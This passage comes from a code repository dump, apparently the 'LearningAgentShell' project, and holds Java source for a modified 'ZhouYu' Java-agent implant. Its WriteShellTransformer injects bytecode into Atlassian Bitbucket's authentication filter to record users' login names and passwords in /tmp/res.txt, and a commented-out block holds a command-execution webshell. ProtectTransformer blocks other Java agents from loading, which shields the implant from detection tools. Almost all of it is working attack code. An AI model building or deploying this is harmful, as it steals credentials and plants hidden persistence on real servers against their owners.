classPool = ClassPool.getDefault(); 25 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes)); 26 | if (ctClass != null && check0(className, ctClass)) { 27 | return new byte[0]; 28 | } 29 | } catch (Throwable e) { 30 | e.printStackTrace(); 31 | } finally { 32 | if (ctClass != null) { 33 | ctClass.detach(); 34 | } 35 | } 36 | return codeBytes; 37 | } 38 | 39 | /** 40 | * 递归检测java.lang.instrument.ClassFileTransformer接口,防止多层嵌套interface结构绕过 41 | * 42 | * @param className 43 | * @param ctClass 44 | * @return 45 | * @throws Throwable 46 | */ 47 | private boolean check0(String className, CtClass ctClass) throws Throwable { 48 | CtClass[] interfaces = ctClass.getInterfaces(); 49 | if (interfaces != null) { 50 | boolean flag = false; 51 | for (CtClass anInterface : interfaces) { 52 | //遇到其它的agent,直接干掉它,不让它加载 53 | if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) { 54 | System.out.println(String.format("[ZhouYu] kill!", className)); 55 | return true; 56 | } 57 | flag |= check0(className, anInterface); 58 | if (flag) { 59 | return flag; 60 | } 61 | } 62 | } 63 | return false; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/init/WriteShellTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.init; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.io.IOException; 9 | import java.lang.reflect.Modifier; 10 | import java.nio.file.Files; 11 | import java.nio.file.Paths; 12 | import java.nio.file.StandardOpenOption; 13 | import java.util.HashSet; 14 | import java.util.Set; 15 | import java.util.jar.JarEntry; 16 | import java.util.jar.JarInputStream; 17 | import java.util.jar.JarOutputStream; 18 | import java.util.jar.Manifest; 19 | import java.util.zip.CRC32; 20 | import javassist.ClassPool; 21 | import javassist.CtClass; 22 | import javassist.CtConstructor; 23 | import javassist.CtMethod; 24 | import javassist.LoaderClassPath; 25 | import zhouyu.core.transformer.Transformer; 26 | import zhouyu.core.util.JavassistUtil; 27 | 28 | public class WriteShellTransformer implements Transformer { 29 | 30 | private String[][] methods = new String[][] { 31 | //new String[] {"javax/servlet/http/HttpServlet", "javax.servlet.http.HttpServlet", "service", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"}, 32 | new String[] {"com/atlassian/stash/internal/spring/security/StashAuthenticationFilter", "com.atlassian.stash.internal.spring.security.StashAuthenticationFilter", "createContextFromQueryParameters", "*"}, 33 | }; 34 | 35 | private Set cache = new HashSet<>(); 36 | 37 | @Override 38 | public boolean condition(String className) { 39 | for (int i = 0; i < methods.length; i++) { 40 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) { 41 | return true; 42 | } 43 | } 44 | return false; 45 | } 46 | 47 | @Override 48 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) { 49 | for (int i = 0; i < methods.length; i++) { 50 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) { 51 | codeBytes = insertShell(methods[i][2], methods[i][3], loader, codeBytes, getBeforeInsertCode()); 52 | } 53 | } 54 | return codeBytes; 55 | } 56 | 57 | private String getBeforeInsertCode() { 58 | /* 59 | StringBuilder codeBuilder = new StringBuilder() 60 | .append("String cmd = $1.getParameter(\"cmd\");").append("\n") 61 | .append("if (cmd != null) {").append("\n") 62 | .append(" try {").append("\n") 63 | .append(" String[] cmds = cmd.split(\" \");").append("\n") 64 | .append(" InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();").append("\n") 65 | .append(" StringBuilder stringBuilder = new StringBuilder();").append("\n") 66 | .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));").append("\n") 67 | .append(" String line;").append("\n") 68 | .append(" while((line = bufferedReader.readLine()) != null) {").append("\n") 69 | .append(" stringBuilder.append(line).append(\"\\n\");").append("\n") 70 | .append(" }").append("\n") 71 | .append(" byte[] res = stringBuilder.toString().getBytes(StandardCharsets.UTF_8);").append("\n") 72 | .append(" $2.getOutputStream().write(res);").append("\n") 73 | .append(" } catch (Throwable throwable) {").append("\n") 74 | .append(" throwable.printStackTrace();").append("\n") 75 | .append(" }").append("\n") 76 | .append("}").append("\n") 77 | ; 78 | */ 79 | 80 | StringBuilder codeBuilder = new StringBuilder() 81 | .append("try {").append("\n") 82 | .append("javax.servlet.http.HttpServletRequest request = $1;").append("\n") 83 | .append("String password=request.getParameter(\"j_password\");").append("\n") 84 | .append("if(password!=null){").append("\n") 85 | .append("String username=request.getParameter(\"j_username\");").append("\n") 86 | .append("String r=username+\":\"+password;").append("\n") 87 | .append("byte[] res = r.getBytes();").append("\n") 88 | .append("java.io.File newTextFile = new java.io.File(\"/tmp/res.txt\");").append("\n") 89 | .append("java.io.FileOutputStream fw = new java.io.FileOutputStream(newTextFile,true);").append("\n") 90 | .append("fw.write(res);").append("\n") 91 | .append("fw.close();").append("\n") 92 | .append("}").append("\n") 93 | .append(" } catch (Throwable throwable) {").append("\n") 94 | .append(" throwable.printStackTrace();").append("\n") 95 | .append(" }").append("\n") 96 | ; 97 | 98 | 99 | return codeBuilder.toString(); 100 | } 101 | 102 | private byte[] insertShell(String hookMethod, String hookMethodSignature, ClassLoader loader, byte[] codeBytes, String beforeCode) { 103 | CtClass ctClass = null; 104 | try { 105 | ClassPool classPool = ClassPool.getDefault(); 106 | classPool.appendClassPath(new LoaderClassPath(loader)); 107 | classPool.importPackage("java.io.InputStream"); 108 | classPool.importPackage("java.lang.Runtime"); 109 | classPool.importPackage("java.lang.StringBuilder"); 110 | classPool.importPackage("java.io.BufferedReader"); 111 | classPool.importPackage("java.io.InputStreamReader"); 112 | classPool.importPackage("java.nio.charset.StandardCharsets"); 113 | classPool.importPackage("java.io.File"); 114 | classPool.importPackage("java.io.InputStreamReader"); 115 | classPool.importPackage("java.io.FileOutputStream"); 116 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes)); 117 | if (hookMethod.equals("")) { 118 | Set ctConstructors = JavassistUtil.getAllConstructors(ctClass); 119 | for (CtConstructor ctConstructor : ctConstructors) { 120 | if (ctConstructor.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*")) { 121 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctConstructor.getName(), ctConstructor.getSignature())); 122 | ctConstructor.insertBefore(beforeCode); 123 | } 124 | } 125 | } else { 126 | Set methods = JavassistUtil.getAllMethods(ctClass); 127 | for (CtMethod ctMethod : methods) { 128 | if (ctMethod.getName().equals(hookMethod)) { 129 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctMethod.getName(), ctMethod.getSignature())); 130 | ctMethod.insertBefore(beforeCode); 131 | } 132 | } 133 | } 134 | 135 | return ctClass.toBytecode(); 136 | } catch (Throwable e) { 137 | e.printStackTrace(); 138 | } finally { 139 | if (ctClass != null) { 140 | ctClass.detach(); 141 | } 142 | } 143 | return codeBytes; 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/transformer/CoreClassFileTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.transformer; 2 | 3 | import java.lang.instrument.ClassFileTransformer; 4 | import java.lang.instrument.IllegalClassFormatException; 5 | import java.lang.instrument.Instrumentation; 6 | import java.lang.instrument.UnmodifiableClassException; 7 | import java.security.ProtectionDomain; 8 | import java.util.ArrayList; 9 | import java.util.HashSet; 10 | import java.util.List; 11 | import java.util.Set; 12 | import zhouyu.core.init.ProtectTransformer; 13 | import zhouyu.core.init.WriteShellTransformer; 14 | 15 | public class CoreClassFileTransformer implements ClassFileTransformer { 16 | 17 | private Instrumentation inst; 18 | 19 | private static final List transformers = new ArrayList<>(); 20 | 21 | static { 22 | transformers.add(new WriteShellTransformer()); 23 | transformers.add(new ProtectTransformer()); 24 | } 25 | 26 | public CoreClassFileTransformer(Instrumentation inst) { 27 | this.inst = inst; 28 | } 29 | 30 | public void retransform() { 31 | Class[] classes = inst.getAllLoadedClasses(); 32 | if (classes != null) { 33 | Set classSet = new HashSet<>(); 34 | for (Class aClass : classes) { 35 | for (Transformer transformer : transformers) { 36 | if (transformer.condition(aClass.getName()) && inst.isModifiableClass(aClass)) { 37 | classSet.add(aClass); 38 | System.out.println(String.format("[ZhouYu] reload class: %s", aClass.getName())); 39 | break; 40 | } 41 | } 42 | } 43 | if (!classSet.isEmpty()) { 44 | try { 45 | inst.retransformClasses(classSet.toArray(new Class[classSet.size()])); 46 | } catch (UnmodifiableClassException e) { 47 | e.printStackTrace(); 48 | } 49 | } 50 | } 51 | } 52 | 53 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 54 | for (Transformer transformer : transformers) { 55 | classfileBuffer = transformer.transformer(loader, className, classfileBuffer); 56 | } 57 | return classfileBuffer; 58 | } 59 | 60 | 61 | } 62 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/transformer/Transformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.transformer; 2 | 3 | public interface Transformer { 4 | 5 | boolean condition(String className); 6 | 7 | byte[] transformer(ClassLoader loader, String className, byte[] codeBytes); 8 | } 9 | -------------------------------------------------------------------------------- /ZhouYu-changed/core/src/main/java/zhouyu/core/util/JavassistUtil.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.util; 2 | 3 | import java.util.Arrays; 4 | import java.util.HashSet; 5 | import java.util.Set; 6 | import javassist.CtClass; 7 | import javassist.CtConstructor; 8 | import javassist.CtMethod; 9 | 10 | public class JavassistUtil { 11 | 12 | public static Set getAllMethods(CtClass ctClass) { 13 | Set ctMethods = new HashSet<>(); 14 | ctMethods.addAll(Arrays.asList(ctClass.getDeclaredMethods())); 15 | ctMethods.addAll(Arrays.asList(ctClass.getMethods())); 16 | return ctMethods; 17 | } 18 | 19 | public static Set getAllConstructors(CtClass ctClass) { 20 | Set ctConstructors = new HashSet<>(); 21 | ctConstructors.addAll(Arrays.asList(ctClass.getDeclaredConstructors())); 22 | ctConstructors.addAll(Arrays.asList(ctClass.getConstructors())); 23 | return ctConstructors; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /ZhouYu-changed/settings.gradle: -------------------------------------------------------------------------------- 1 | rootProject.name = 'ZhouYu' 2 | include 'agent' 3 | include 'core' 4 | 5 | -------------------------------------------------------------------------------- /images/qrcode.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/7BitsTeam/LearningAgentShell/2706a03162e87e1c7a355aa09a409d9548a32af1/images/qrcode.jpg --------------------------------------------------------------------------------